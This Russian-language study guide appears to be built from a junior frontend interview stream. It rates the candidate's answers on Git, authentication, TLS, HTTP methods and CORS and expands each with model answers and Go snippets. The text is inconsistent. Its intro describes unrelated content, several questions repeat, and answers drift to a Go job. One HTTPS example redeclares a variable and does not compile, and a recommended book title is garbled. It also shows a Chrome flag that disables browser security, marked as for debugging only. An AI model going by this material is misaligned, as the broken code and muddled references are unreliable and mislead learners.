РЕАЛЬНОЕ СОБЕСЕДОВАНИЕ НА ДЖУНА + LIVE CODING | FRONTEND РАЗРАБОТЧИК СТРИМ
Сегодня мы разберем расшифровку неформального стрима-собеседования, где два спикера обсуждают с аудиторией актуальные направления в IT, дают советы по выбору стека и рассказывают о планах запуска образовательных марафонов по DevOps. В ходе беседы затрагиваются вопросы трудоустройства, конкуренции на рынке и ценности высшего образования в сфере технологий.
Вопрос 1. Какая у тебя специальность и на каком курсе ты учишься?
Таймкод: 00:00:00
Ответ собеседника: Правильный. Программная инженерия, второй курс.
Правильный ответ:
Это стандартный вводный вопрос, который помогает интервьюеру понять текущий уровень подготовки и контекст кандидата. Ответ должен быть кратким и честным.
Что стоит учитывать при ответе:
- Укажи точное название специальности и курс — это задаёт ожидания относительно глубины технических знаний.
- Если специальность напрямую связана с разработкой ПО (как в данном случае — «Программная инженерия»), это плюс, так как подразумевает знакомство с основами программирования, алгоритмов, структур данных.
- Второй курс — это нормально для стажировки или junior-позиции. Интервьюер не ожидает глубокого опыта, но будет оценивать базовые знания, мотивацию и способность учиться.
Дополнительно можно добавить (по желанию):
Если есть релевантный опыт вне учёбы — pet-проекты, open-source контрибуции, участие в хакатонах или курсах по Go — стоит упомянуть это сразу после ответа на вопрос. Например: «Параллельно с учёбой изучаю Go, написал несколько проектов на этом языке, включая REST API с использованием Gin и PostgreSQL». Это сразу переводит разговор в техническое русло и показывает инициативность.
Вопрос 2. Почему выбрали именно фронтенд-разработку?
Таймкод: 00:03:03
Ответ собеседника: Неполный. Нравится, что результат работы виден сразу, и порог входа в фронтенд ниже по сравнению с другими направлениями.
Правильный ответ:
Ответ кандидата поверхностный и содержит спорное утверждение о «низком пороге входа», которое скорее минус, чем плюс — оно может создать впечатление что выбор сделан из-за лёгкости, а не из-за интереса к предметной области.
Как стоит отвечать на этот вопрос:
Ответ должен демонстрировать осознанный выбор и понимание специфики направления. Можно раскрыть несколько аспектов:
Визуальная обратная связь и пользовательский опыт. Фронтенд — это слой, где встречаются инженерия и дизайн. Результат работы виден сразу в браузере, что даёт быструю обратную связь и мотивацию. Но важнее то, что фронтенд-разработчик напрямую влияет на то, как пользователь взаимодействует с продуктом — это ответственность и творческая составляющая одновременно.
Сложность и глубина фронтенда. Современный фронтенд — это не только HTML/CSS. Это управление состоянием приложения, асинхронные операции, оптимизация производительности (lazy loading, code splitting, мемоизация), работа с сетью (HTTP/2, WebSocket, Server-Sent Events), обеспечение доступности (a11y), кроссбраузерная совместимость. Порог входа действительно ниже, но порог экспертизы — очень высокий.
Технологический стек и экосистема. Можно упомянуть конкретные фреймворки и инструменты, которые привлекают: React, Vue, Svelte, TypeScript, Vite, и объяснить почему. Например: «Мне нравится компонентный подход React и строгая типизация TypeScript, которая помогает ловить ошибки на этапе компиляции».
Проблемы, которые решает фронтенд. Интерес к конкретным задачам — построение отзывчивых интерфейсов, оптимизация Core Web Vitals, реализация сложных анимаций, работа с реальным временем — показывает зрелость кандидата.
Важно: если кандидат на позицию Go-разработчика говорит про фронтенд, это сигнал для интервьюера уточнить мотивацию — почему Go, если интерес к фронтенду? Возможно, кандидат ещё ищет себя, и это нормально для второго курса, но стоит быть готовым к вопросу о том, почему бэкенд тоже интересен.
Вопрос 3. Есть ли страх, что если фронтенд даётся легко, то и другие смогут так же, и конкуренция будет высокой?
Таймкод: 00:03:33
Ответ собеседника: Неполный. Не думал об этом, рано думать, 19 лет, надеюсь что хватит места, нужно выделяться.
Правильный ответ:
Откандидата уклончивый и незрелый — он не раскрыл суть вопроса. Интервьюер проверяет понимание рынка и способность к стратегическому мышлению о карьере. Ответ «рано думать» — упущенная возможность показать осведомлённость.
Как стоит отвечать:
Конкуренция есть, и это нормально. Да, в фронтенде высокая конкуренция на уровне junior, потому что порог входа действительно ниже — можно собрать первое приложение за несколько недель. Но это не повод для страха, а повод задуматься о дифференциации.
Что отличает сильного разработчика:
- Глубина понимания. Знание не только как использовать React, но и как он работает внутри (Virtual DOM reconciliation, Fiber architecture, concurrent mode). Понимание event loop в браузере, рендеринга страницы от HTML до пикселя.
- Системное мышление. Умение проектировать архитектуру фронтенд-приложения: как организовать стейт-менеджмент, как разделить код на модули, как обеспечить тестируемость.
- Смежные знания. Понимание бэкенда, сетей, безопасности (CORS, XSS, CSRF), производительности (Lighthouse, Web Vitals). Фронтенд-разработчик, который понимает как работает API, стоит дороже.
- Инструменты и DevOps. Знание CI/CD, Docker, мониторинга — это расширяет зону ответственности и ценность на рынке.
Стратегия дифференциации:
Лёгкость входа — это свойство начального уровня. На уровне middle и senior конкуренция значительно ниже, потому что требуется опыт принятия архитектурных решений, менторства, работы с legacy-кодом. Нужно не бояться конкуренции, а целенаправленно двигаться вглубь — от умения «делать работающее» к умению «делать правильно, поддерживаемо и эффективно».
Конкретный пример ответа:
«Конкуренция на рынке фронтенда действительно высокая на junior-уровне, и это объяснимо — низкий порог входа привлекает много людей. Но я вижу в этом не угрозу, а фильтр. Большинство останавливаются на базовом уровне, и те, кто идёт глубше — разбирается в архитектуре, производительности, типизации — быстро выделяются. Моя стратегия — не просто изучать инструменты, а понимать почему они устроены так, как устроены, и набирать опыт на реальных проектах».
Вопрос 4. Боитесь ли вы, что ИИ заменит фронтенд-разработчиков?
Таймкод: 00:04:06
Ответ собеседника: Неполный. Слышал что ИИ может тупить при масштабных задачах, сам сталкивался с тем что при запросе добавить корзину результат был не очень качественным.
Правильный ответ:
Ответ кандидата слишком поверхностный и не демонстрирует понимания реальной картины. Интервьюер ожидает зрелого взгляда на роль ИИ в разработке и понимания того, какие навыки останутся ценными.
Как стоит отвечать:
ИИ — это инструмент, а не замена. Современные ИИ-инструменты (GitHub Copilot, ChatGPT, Cursor) уже сейчас ускоряют написание рутинного кода, генерацию шаблонов, написание тестов. Но они не заменяют разработчика — они заменяют часть рутины. Это похоже на то, как появление фреймворков не убило профессию программиста, а подняло уровень абстракции.
Что ИИ пока не умеет:
- Принимать архитектурные решения. Выбор между монолитом и микросервисами, между Redux и Zustand, между SSR и CSR — это решения, которые зависят от контекста бизнеса, команды, масштаба проекта. ИИ не понимает бизнес-требования.
- Работать с legacy-кодом. Понять чужой код, написанный 5 лет назад без документации, и внести изменения без поломки — это задача, требующая контекста и интуиции.
- Коммуникация и менторинг. Обсуждение требований с заказчиком, code review, помощь коллегам — это социальные навыки, которые ИИ не заменит.
- Ответственность за качество. ИИ может сгенерировать код, но кто отвечает за то, что он работает правильно, безопасно и эффективно? Разработчик.
Что изменится в профессии:
Роль разработчика сместится от «написания кода» к «проектированию систем и контролю качества». Те, кто умеет эффективно использовать ИИ как инструмент, будут более продуктивны. Те, кто полагается только на ИИ без понимания основ, — будут уязвимы.
Конкретный пример ответа:
«Я не боюсь, что ИИ заменит разработчиков, но я уверен, что разработчики, которые используют ИИ, заменят тех, кто его не использует. ИИ — это мощный инструмент для рутины: генерация boilerplate, написание тестов, рефакторинг. Но он не понимает бизнес-логику, не принимает архитектурных решений, не несёт ответственности за результат. Мой подход — учиться использовать ИИ как парного программиста, но при этом углублять фундаментальные знания, чтобы понимать и контролировать то, что генерирует ИИ. Лично я заметил, что для простых задач ИИ справляется хорошо, но как только задача требует понимания контекста проекта, работы с существующей кодовой базой или нестандартных решений — качество падает. Это значит, что ценность разработчика с глубоким пониманием только растёт».
Вопрос 5. Не боитесь ли вы, что ИИ заменит фронтенд-разработчиков?
Таймкод: 00:04:08
Ответ собеседника: Неполный. Слышал что ИИ может тупить при масштабных задачах, сам сталкивался с тем что при запросе добавить корзину результат был не очень качественным.
Правильный ответ:
Этот вопрос дублирует предыдущий (Вопрос 4), поэтому здесь можно ограничиться кратким ответом с развитием ранее сказанного.
Кандидат повторяет тот же поверхностный ответ. Если вопрос задан дважды, стоит расширить и углубить ответ, а не повторяться.
Дополнительные аргументы, которые можно добавить:
Историческая перспектива. Каждый раз, когда появлялся новый инструмент, провозглашали «конец программирования»: компиляторы, IDE, фреймворки, low-code платформы. Вместо этого каждый раз профессия эволюционировала — появлялись новые специализации, росли требования к качеству, увеличивался масштаб проектов. ИИ — следующий шаг в этой цепочке, а не конец.
Экономический аргумент. Спрос на программное обеспечение растёт быстрее, чем количество разработчиков. Даже если ИИ увеличит продуктивность одного разработчика в 2-3 раза, это не покроет дефика кадров. Будет больше проектов, больше сложных систем, больше необходимости в людях, которые понимают как всё работает.
Практическая рекомендация для кандидата: если интервьюер повторяет вопрос, это сигнал, что первый ответ не удовлетворил. Не стоит повторяться — лучше сказать: «Я уже частично ответил на этот вопрос, но могу добавить ещё несколько мыслей» и развить тему с другой стороны.
Вопрос 6. Как давно занимаетесь фронтендом? Учат ли в университете этому?
Таймкод: 00:05:00
Ответ собеседника: Правильный. В университете фронтенда практически нет, был только курс по компьютерным сетям где поверхностно упоминали React как популярный фреймворк. Занимается самостоятельно.
Правильный ответ:
Это уточняющий вопрос о контексте обучения. Ответ кандидата адекватный — он честно описывает ситуацию.
Что стоит добавить к такому ответу:
Конкретику по самообразованию. Университетские программы в большинстве вузов действительно отстают от индустрии на 5-10 лет. Это нормально — университет даёт фундаментальные знания (алгоритмы, структуры данных, операционные системы, сети), а прикладные технологии нужно осваивать самостоятельно. Но важно показать, что самообразование — это не «посмотрел пару видео», а системный процесс.
Пример развёрнутого ответа:
«В университете фронтенду практически не учат — максимум поверхностное упоминание технологий в контексте других курсов. Я занимаюсь самостоятельно уже [указать срок]: прошёл курсы по React и TypeScript, собрал несколько pet-проектов, читал документацию и статьи. Университет дал мне хорошую базу в алгоритмах и понимании как работает сеть, что помогает в фронтенде — например, я понимаю как работает HTTP, зачем нужны заголовки кеширования, как оптимизировать загрузку ресурсов».
Почему это важно для интервьюера:
Интервьюер оценивает способность кандидата к самообучению — это ключевой навык для разработчика, независимо от направления. Кандидат, который может самостоятельно освоить технологию, адаптируется к новым требованиям быстрее, чем тот, кто ждёт инструкций.
Вопрос 7. React — это фреймворк или библиотека?
Таймкод: 00:05:32
Ответ собеседника: Правильный. Библиотека.
Правильный ответ:
Ответ правильный, но для более полного ответа стоит объяснить разницу и почему React — именно библиотека.
Библиотека vs Фреймворк — ключевое отличие:
Библиотека — набор функций и инструментов, которые разработчик вызывает по своему усмотрению. Разработчик контролирует поток выполнения и решает когда и как использовать библиотеку. Примеры: React, jQuery, Lodash, Axios.
Фреймворк — это каркас, который диктует архитектуру приложения и поток выполнения. Разработчик пишет код, который фреймворк вызывает (инверсия управления). Примеры: Angular, Next.js, Nuxt.js, Django, Spring.
Почему React — библиотека:
React решает одну конкретную задачу — рендеринг пользовательского интерфейса через компонентный подход и Virtual DOM. Он не диктует:
- как организовать маршрутизацию (нужен React Router)
- как управлять состоянием (нужен Redux, Zustand, Context API)
- как работать с формами (нужен React Hook Form, Formik)
- как выполнять сборку (нужен Webpack, Vite, esbuild)
Разработчай сам собирает стек технологий вокруг React. Именно поэтому React называют библиотекой, а не фреймворком.
Важное уточнение:
Хотя формально React — библиотека, в экосистеме существуют фреймворки на базе React: Next.js и Remix. Они берут на себя маршрутизацию, серверный рендеринг, оптимизацию и другие задачи, превращая React в полноценный фреймворк. Поэтому на собеседовании корректно сказать: «React — это библиотека для построения пользовательских интерфейсов. Но существуют фреймворки на его основе, такие как Next.js, которые добавляют маршрутизацию, SSR и другие возможности».
Вопрос 8. React — это фреймворк или библиотека?
Таймкод: 00:05:35
Ответ собеседника: Правильный. Библиотека.
Правильный ответ:
Вопрос полностью дублирует предыдущий (Вопрос 7). Подробный ответ уже дан выше.
Кратко: React — это библиотека для построения пользовательских интерфейсов. Он предоставляет инструменты для создания компонентов и управления рендерингом, но не диктует архитектуру приложения — это отличает его от фреймворков вроде Angular. Фреймворки на базе React (Next.js, Remix) уже являются полноценными фреймворками.
Вопрос 9. Почему перешли с React на Vue? Откуда узнали про React?
Таймкод: 00:09:28
Ответ собеседника: Неполный. React начал использовать после просмотра видео в интернете, не проверив документацию. Перешёл на Vue потому что React стал странно работать, и потом понял что React уже устаревает.
Правильный ответ:
Ответ кандидата содержит несколько проблемных моментов, которые стоит разобрать.
Проблема 1: «React устаревает» — это неверное утверждение.
React не устаревает. По данным различных опросов (Stack Overflow Developer Survey, State of JS), React стабильно занимает первое или второе место по популярности среди фронтенд-фреймворков уже много лет. У него огромная экосистема, поддержка Meta (Facebook), и он активно развивается — Concurrent Mode, Server Components, React Compiler. Это зрелая и стабильная технология.
Проблема 2: «React стал странно работать» — размытое объяснение.
Скорее всего, кандидат столкнулся с типичными трудностями новичка:
- Проблемы с настройкой окружения (Webpack, Babel)
- Непонимание правил хуков (hooks rules)
- Проблемы с управлением состоянием
- Путаница между классовыми и функциональными компонентами
Вместо того чтобы разобраться в причине, кандидат решил переключиться на другой фреймворк. Это распространённая ловушка — «трава зеленее на другой стороне». Vue действительно имеет более низкий порог входа благодаря шаблонному синтаксису и встроенным решениям (Vue Router, Pinia), но проблемы, с которыми столкнулся кандидат в React, скорее всего были связаны с недостатком понимания основ, а не с самим фреймворком.
Как стоит отвечать на подобный вопрос:
Если вы действительно переключались между технологиями, честно объясните причины:
«Я начал с React, но на начальном этапе столкнулся с трудностями в понимании управления состоянием и хуков. Vue показался мне более интуитивным благодаря Options API и встроенным решениям для маршрутизации и стейт-менеджмента. Однако со временем я понял, что многие проблемы были связаны не с React, а с моим уровнем подготовки. Сейчас я понимаю что обе технологии зрелые и имеют свои сильные стороны — React с его гибкостью и экосистемой, Vue с его элегантностью и простотой для новичков».
Ключевой вывод для кандидата:
Переход между фреймворками — это нормально, но важно понимать причины. Если вы уходите от технологии потому что «она странно работает» — скорее всего, проблема в понимании, а не в технологии. На интервью это видно и снижает оценку кандидата.
Вопрос 10. Как организовали работу с Git? Использовали ли ветки и pull request?
Таймкод: 00:10:08
Ответ собеседника: Неправильный. Коммитил напрямую в main ветку, использовал git commit -m. Локально пробовал делать ветки, но потом удалил. Не использовал pull request и не описывал коммиты осмысленно.
Правильный ответ:
Ответ кандидата показывает отсутствие понимания базовых практик работы с Git, которые являются обязательными в профессиональной разработке. Это серьёзный пробел.
Почему коммиты напрямую в main — проблема:
- main/master — стабильная ветка. Она всегда должна содержать рабочий, протестированный код. Коммитя туда напрямую, вы рискуете сломать сборку.
- Нет изоляции изменений. Если что-то пойдёт не так, откатить конкретное изменение сложно.
- Невозможность код-ревью. Другие разработчики не могут проверить код до попадания в основную ветку.
Как правильно организовать работу с Git:
1. Ветвление (Branching Strategy).
Самый простой и распространённый подход — GitHub Flow или Git Flow:
# Создаём ветку для новой задачи
git checkout -b feature/user-authentication
# Работаем, коммитим
git add .
git commit -m "feat: add user login form with validation"
# Отправляем на удалённый репозиторий
git push origin feature/user-authentication
# Создаём Pull Request на GitHub/GitLab
2. Pull Request (PR) / Merge Request (MR).
PR — это механизм код-ревью. Вы предлагаете изменения, другие разработчики проверяют код, оставляют комментарии, и только после одобрения изменения попадают в main.
3. Осмысленные сообщения коммитов.
Используйте конвенцию Conventional Commits:
<тип>[необязательная область]: <описание>
[необязательное тело]
[необязательный футер]
Примеры:
# Добавление функциональности
git commit -m "feat(auth): add JWT token refresh mechanism"
# Исправление бага
git commit -m "fix(cart): correct total price calculation for discounted items"
# Рефакторинг
git commit -m "refactor(user-service): extract validation logic to separate module"
# Документация
git commit -m "docs: update API endpoints in README"
Основные типы:
- feat — новая функциональность
- fix — исправление бага
- refactor — изменение кода без изменения поведения
- docs — изменения в документации
- test — добавление или изменение тестов
- chore — рутинные задачи (обновление зависимостей, настройка)
4. Практические рекомендации.
- Коммиты должны быть атомарными — один коммит = одна логическая единица изменений.
- Не коммитьте сгенерированные файлы (node_modules, dist, .env).
- Используйте
.gitignoreдля исключения ненужных файлов. - Регулярно делайте
git pullперед началом работы, чтобы избежать конфликтов.
Что сказать на интервью:
«Честно говоря, на текущем этапе я не использовал полноценный Git workflow — коммитил напрямую в main. Но я понимаю что это неправильно и изучаю правильные практики: ветвление, pull request, conventional commits. В следующем проекте планирую использовать feature-ветки и PR для всех изменений». Честное признание пробела + понимание правильного подхода = лучше, чем попытка скрыть незнание.
Вопрос 11. Чем отличается аутентификация от авторизации?
Таймкод: 00:15:35
Ответ собеседника: Правильный. Аутентификация — это проверка, кто ты такой (логин/пароль). Авторизация — это определение, какие права у пользователя.
Правильный ответ:
Ответ правильный и покрывает суть. Для более полного ответа можно раскрыть тему глубже.
Аутентификация (Authentication — «кто ты?»)
Процесс проверки подлинности пользователя. Отвечает на вопрос: «Ты действительно тот, за кого себя выдаёшь?»
Способы аутентификации:
- Логин и пароль — классический способ
- Токены (JWT) — после входа сервер выдаёт токен, который клиент отправляет с каждым запросом
- OAuth 2.0 — аутентификация через сторонние сервисы (Google, GitHub)
- SSO (Single Sign-On) — единый вход для нескольких систем
- Многофакторная аутентификация (MFA) — пароль + SMS/приложение/биометрия
- Сертификаты — клиентские TLS-сертификаты
Авторизация (Authorization — «что тебе можно?»)
Процесс определения прав доступа аутентифицированного пользователя. Отвечает на вопрос: «Какие действия тебе разрешены?»
Модели авторизации:
- RBAC (Role-Based Access Control) — права определяются ролями (admin, moderator, user)
- ABAC (Attribute-Based Access Control) — права определяются атрибутами (время, местоположение, тип ресурса)
- ACL (Access Control List) — список разрешений для каждого ресурса
Пример из практики:
// Аутентификация: проверяем логин и пароль
func (s *AuthService) Login(ctx context.Context, email, password string) (string, error) {
user, err := s.userRepo.GetByEmail(ctx, email)
if err != nil {
return "", fmt.Errorf("user not found")
}
if !CheckPasswordHash(password, user.PasswordHash) {
return "", fmt.Errorf("invalid password")
}
// Генерируем JWT-токен
token, err := s.jwtManager.Generate(user.ID, user.Role)
if err != nil {
return "", err
}
return token, nil
}
// Авторизация: проверяем роль пользователя
func AdminOnlyMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
claims := c.MustGet("claims").(*JWTClaims)
if claims.Role != "admin" {
c.AbortWithStatusJSON(403, gin.H{"error": "access denied"})
return
}
c.Next()
}
}
Ключевой принцип: аутентификация всегда происходит до авторизации. Сначала система узнаёт, кто вы, затем решает, что вам разрешено делать.
Вопрос 12. Чем HTTP отличается от HTTPS?
Таймкод: 00:15:54
Ответ собеседника: Неполный. HTTPS — это защищённая версия HTTP с сертификатом. Данные шифруются, и сайт считается безопасным. Защищаемся от хакеров и вирусами. Не смог объяснить что такое TLS и как именно работает шифрование.
Правильный ответ:
Ответ кандидата поверхностный и содержит неточности («защита от вирусов» — неверная формулировка). Разберём тему подробно.
HTTP vs HTTPS — ключевое отличие:
HTTP (HyperText Transfer Protocol) — протокол передачи данных в открытом виде. Всё, что передаётся между клиентом и сервером, может быть прочитано любым посредником (провайдер, злоумышленник в сети).
HTTPS (HTTP Secure) — HTTP + TLS (Transport Layer Security). Все данные шифруются перед передачей.
Что такое TLS и как он работает:
TLS — криптографический протокол, обеспечивающий три свойства:
- Конфиденциальность — данные зашифрованы, их нельзя прочитать без ключа
- Целостность — данные нельзя изменить незаметно
- Аутентификация — клиент убеждается, что общается с тем сервером, с которым хотел
TLS Handshake (установление соединения):
Клиент Сервер
| |
|--- ClientHello (версии, алгоритмы) --->|
| |
|<-- ServerHello (выбранный алгоритм) ---|
|<-- Certificate (серверный сертификат) --|
|<-- ServerHelloDone --------------------|
| |
|--- KeyExchange (pre-master secret) --->|
|--- ChangeCipherSpec ------------------>|
|--- Finished (зашифрованное) ----------->|
| |
|<-- ChangeCipherSpec -------------------|
|<-- Finished (зашифрованное) ------------|
| |
|==== Зашифрованный обмен данными ========|
Подробнее о шагах:
- ClientHello — клиент отправляет поддерживаемые версии TLS, наборы шифров (cipher suites), случайное число.
- ServerHello — сервер выбирает версию TLS и набор шифров, отправляет своё случайное число.
- Certificate — сервер отправляет свой цифровой сертификат, подписанный центром сертификации (CA).
- Key Exchange — клиент проверяет сертификат, генерирует pre-master secret, шифрует его публичным ключом сервера и отправляет.
- Обе стороны вычисляют общий session key из pre-master secret и случайных чисел.
- ChangeCipherSpec — стороны переключаются на зашифрованное общение.
Асимметричное и симметричное шифрование:
TLS использует оба типа:
- Асимметричное (RSA, ECDHE) — для обмена ключами при handshake. Медленное, но безопасное.
- Симметричное (AES, ChaCha20) — для шифрования данных после handshake. Быстрое и эффективное.
Сертификаты и цепочка доверия:
Сертификат сервера содержит публичный ключ и подписан центром сертификации (CA). Браузер доверяет корневым сертификатам CA и может проверить подлинность серверного сертификата по цепочке доверия.
Почему это важно для разработчика:
- Без HTTPS данные пользователей (пароли, платёжные данные) передаются открытым текстом
- Браузеры помечают HTTP-сайты как «Небезопасные»
- SEO: Google ранжирует HTTPS-сайты выше
- Для работы с современными API (геолокация, уведомления) требуется HTTPS
Пример настройки HTTPS в Go:
func main() {
router := gin.Default()
router.GET("/api/health", func(c *gin.Context) {
c.JSON(200, gin.H{"status": "ok"})
})
// HTTPS с автоматическим TLS от Let's Encrypt
err := autotls.Run(router, "example.com", "www.example.com")
if err != nil {
log.Fatal(err)
}
// Или вручную с сертификатом
err := router.RunTLS(":443", "cert.pem", "key.pem")
if err != nil {
log.Fatal(err)
}
}
Вопрос 13. Чем HTTP отличается от HTTPS? Что такое TLS?
Таймкод: 00:15:57
Ответ собеседника: Неполный. HTTPS — это защищённая версия HTTP с сертификатом, защищает от хакеров и вирусов. Про TLS знает что-то слышал, но не смог объяснить подробнее.
Правильный ответ:
Этот вопрос дублирует предыдущий (Вопрос 12). Подробный ответ уже дан выше.
Краткое резюме:
HTTP передаёт данные в открытом виде, HTTPS — шифрует их с помощью TLS (Transport Layer Security). TLS обеспечивает конфиденциальность, целостность и аутентификацию через механизм handshake с использованием асимметричного шифрования для обмена ключами и симметричного для шифрования данных.
Кандидат должен изучить тему TLS подробнее — это базовое знание для любого разработчика. Рекомендуемые ресурсы:
- RFC 8446 (TLS 1.3)
- Книга «Bulletproof TLS and PSSH»
- Статья «The Illustrated TLS Connection» (https://tls13.xargs.org/)
Вопрос 14. Какие HTTP-методы знаете? Чем они отличаются?
Таймкод: 00:17:19
Ответ собеседника: Неполный. GET, POST, PUT, PATCH, DELETE. GET получает данные, POST создает данные. Упомянул что GET кэшируется. Знает про REST API как архитектуру взаимодействия клиента с сервером, но признал что есть пробелы.
Правильный ответ:
Кандидат перечислил основные методы, но ответ неполный. Разберём подробно.
Основные HTTP-методы:
GET — получение ресурса. Идемпотентный, безопасный, кэшируемый.
# Получить список пользователей
GET /api/users
# Получить конкретного пользователя
GET /api/users/123
# С параметрами пагинации
GET /api/users?page=1&limit=20
POST — создание нового ресурса. Не идемпотентный (повторный запрос создаст ещё один ресурс).
# Создать пользователя
POST /api/users
Content-Type: application/json
{
"name": "John Doe",
"email": "john@example.com"
}
PUT — полное обновление ресурса. Идемпотентный — повторный запрос с теми же данными даст тот же результат.
# Полностью обновить пользователя
PUT /api/users/123
Content-Type: application/json
{
"name": "John Smith",
"email": "johnsmith@example.com",
"role": "admin"
}
PATCH — частичное обновление ресурса. Идемпотентный (зависит от реализации).
# Обновить только email
PATCH /api/users/123
Content-Type: application/json
{
"email": "newemail@example.com"
}
DELETE — удаление ресурса. Идемпотентный.
DELETE /api/users/123
Дополнительные методы:
HEAD — как GET, но без тела ответа. Полезно для проверки существования ресурса или получения метаданных.
HEAD /api/users/123
# Ответ: 200 OK, но без тела
OPTIONS — получение списка поддерживаемых методов для ресурса. Используется в CORS preflight-запросах.
OPTIONS /api/users
# Ответ: Allow: GET, POST, PUT, DELETE
TRACE — диагностический метод, возвращает полученный запрос «как есть». Обычно отключён из соображений безопасности.
Ключевые свойства методов:
Идемпотентность — многократный вызов даёт тот же результат, что и однократный. Идемпотентные: GET, PUT, DELETE, HEAD, OPTIONS. Не идемпотентный: POST. PATCH — зависит от реализации.
Безопасность — метод не изменяет состояние сервера. Безопасные: GET, HEAD, OPTIONS. Остальные — нет.
Кэшируемость — ответ можно сохранить и переиспользовать. Кэшируемые: GET, HEAD, POST (при наличии соответствующих заголовков).
REST API — кратко:
REST (Representational State Transfer) — архитектурный стиль, где:
- Ресурсы идентифицируются через URL (
/api/users/123) - Операции над ресурсами выполняются через HTTP-методы
- Сервер не хранит состояние клиента между запросами (stateless)
- Ответы могут быть в формате JSON, XML или другом
Пример RESTful API в Go:
func SetupRouter() *gin.Engine {
r := gin.Default()
users := r.Group("/api/users")
{
users.GET("", listUsers) // Получить список
users.GET("/:id", getUser) // Получить одного
users.POST("", createUser) // Создать
users.PUT("/:id", updateUser) // Полное обновление
users.PATCH("/:id", patchUser) // Частичное обновление
users.DELETE("/:id", deleteUser) // Удалить
}
return r
}
func getUser(c *gin.Context) {
id := c.Param("id")
user, err := userService.GetByID(c.Request.Context(), id)
if err != nil {
c.JSON(404, gin.H{"error": "user not found"})
return
}
c.JSON(200, user)
}
func createUser(c *gin.Context) {
var input CreateUserInput
if err := c.ShouldBindJSON(&input); err != nil {
c.JSON(400, gin.H{"error": err.Error()})
return
}
user, err := userService.Create(c.Request.Context(), input)
if err != nil {
c.JSON(500, gin.H{"error": "failed to create user"})
return
}
c.JSON(201, user)
}
Статус-коды, которые стоит знать:
- 200 OK — успешный запрос
- 201 Created — ресурс создан
- 204 No Content — успешно, но тело ответа пустое
- 400 Bad Request — некорректный запрос
- 401 Unauthorized — не аутентифицирован
- 403 Forbidden — нет прав доступа
- 404 Not Found — ресурс не найден
- 500 Internal Server Error — ошибка на сервере
Вопрос 15. Какие HTTP-методы знаете? Чем они отличаются?
Таймкод: 00:17:23
Ответ собеседния: Неполный. Назвал GET, POST, PUT, PATCH, DELETE. POST создаёт данные, GET получает. Упомянул что GET кэшируется. Знает про REST API как архитектуру взаимодействия клиента с сервером, но признал что есть пробелы.
Правильный ответ:
Вопрос полностью дублирует предыдущий (Вопрос 14). Подробный ответ уже дан выше с описанием всех HTTP-методов, их свойств (идемпотентность, безопасность, кэшируемость), дополнительных методов (HEAD, OPTIONS) и примерами кода на Go.
Вопрос 16. Что такое CORS и как его обойти?
Таймкод: 00:18:16
Ответ собеседника: Неполный. CORS — это политика браузера, которая запрещает обращаться к ресурсам с другого домена без разрешения. Обходится через заголовок Access-Control-Allow-Origin на бэкенде. Не знает других способов обхода без бэкенда.
Правильный ответ:
Кандидат верно описал суть CORS и основной способ настройки, но ответ неполный. Разберём тему глубже.
Что такое CORS:
CORS (Cross-Origin Resource Sharing) — механизм браузера, который контролирует доступ веб-страницы к ресурсам с другого источника (origin). Origin определяется тройкой: протокол + домен + порт.
https://example.com:443 ← один origin
http://example.com:80 ← другой origin (другой протокол)
https://api.example.com:443 ← другой origin (другой поддомен)
https://example.com:3000 ← другой origin (другой порт)
Зачем нужен CORS:
Без CORS любой сайт мог бы делать запросы к API других сайтов от имени пользователя. Например, вредоносный сайт мог бы отправить запрос к вашему банку и получить данные авторизованного пользователя. CORS защищает от таких атак.
Как работает CORS:
Simple Request (простой запрос):
Браузер отправляет запрос с заголовком Origin. Сервер отвечает с заголовком Access-Control-Allow-Origin. Если origin не совпадает — блокирует ответ.
Запрос:
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com
Ответ:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Preflight Request (предварительный запрос):
Для «непростых» запросов (с нестандартными заголовками, методами PUT/DELETE, Content-Type: application/json) браузер сначала отправляет OPTIONS-запрос:
Запрос:
OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://frontend.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type
Ответ:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Ключевые CORS-заголовки:
Access-Control-Allow-Origin— разрешённые origins (*или конкретный домен)Access-Control-Allow-Methods— разрешённые HTTP-методыAccess-Control-Allow-Headers— разрешённые заголовкиAccess-Control-Allow-Credentials— разрешены ли cookies и авторизационные заголовкиAccess-Control-Max-Age— время кеширования preflight-ответаAccess-Control-Expose-Headers— заголовки, доступные клиенту
Настройка CORS в Go (Gin):
import "github.com/gin-contrib/cors"
func SetupCORS(r *gin.Engine) {
config := cors.Config{
AllowOrigins: []string{"https://frontend.example.com"},
AllowMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"},
AllowHeaders: []string{"Origin", "Content-Type", "Authorization"},
ExposeHeaders: []string{"Content-Length"},
AllowCredentials: true,
MaxAge: 12 * time.Hour,
}
r.Use(cors.New(config))
}
// Или минимальная настройка для разработки:
func SetupDevCORS(r *gin.Engine) {
r.Use(cors.Default()) // Разрешает всё — только для разработки!
}
Способы обхода CORS (с контекстом):
1. Настройка сервера (правильный способ).
Настроить CORS-заголовки на бэкенде — единственный корректный способ для продакшена.
2. Прокси-сервер.
Фронтенд обращается к своему же серверу, который проксирует запрос к API:
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
}
}
}
}
3. Nginx reverse proxy.
server {
listen 80;
server_name frontend.example.com;
location / {
root /var/www/frontend;
}
location /api/ {
proxy_pass https://api.example.com/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
4. JSONP (устаревший).
Работает только для GET-запросов, использует тег <script>, который не подчиняется CORS. Устарел и не рекомендуется.
5. Отключение CORS в браузере (только для отладки).
# Chrome с отключённой безопасностью — только для разработки!
google-chrome --disable-web-security --user-data-dir=/tmp/chrome
Важно: отключение CORS в браузере или использование * в продакшене — антипаттерн, создающий уязвимости безопасности. CORS существует для защиты пользователей, и «обходить» его нужно правильно — через настройку сервера.
Вопрос 17. Что такое куки? Какие хранилища в браузере знаете? Чем они отличаются?
Таймкод: 00:20:04
